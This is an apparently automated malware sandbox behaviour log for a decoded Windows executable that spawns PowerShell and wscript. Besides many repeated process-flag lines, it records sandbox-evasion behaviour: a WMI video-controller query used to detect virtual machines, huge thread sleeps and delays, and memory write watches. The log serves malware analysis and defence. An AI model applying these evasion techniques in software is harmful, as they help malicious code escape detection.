Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Memory allocated: E10000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Memory allocated: 1AAE0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00007FFE166531D0 str word ptr [eax-01E977EEh]

8_2_00007FFE166531D0

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Window / User API: threadDelayed 405	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Window / User API: threadDelayed 9432	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2123	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2357	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7007	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2667	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7196	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2411	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7092
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2599
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7719
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2008

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe TID: 6776	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe TID: 6780	Thread sleep count: 405 > 30	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe TID: 6780	Thread sleep count: 9432 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7132	Thread sleep count: 2123 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7156	Thread sleep count: 133 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7124	Thread sleep count: 119 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7164	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6148	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5548	Thread sleep count: 7007 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 604	Thread sleep count: 2667 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5636	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1632	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3800	Thread sleep count: 7196 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3800	Thread sleep count: 2411 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5540	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 660	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4472	Thread sleep count: 7092 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6892	Thread sleep count: 2599 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6944	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5408	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6864	Thread sleep count: 7719 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4584	Thread sleep time: -26747778906878833s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6864	Thread sleep count: 2008 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2044	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

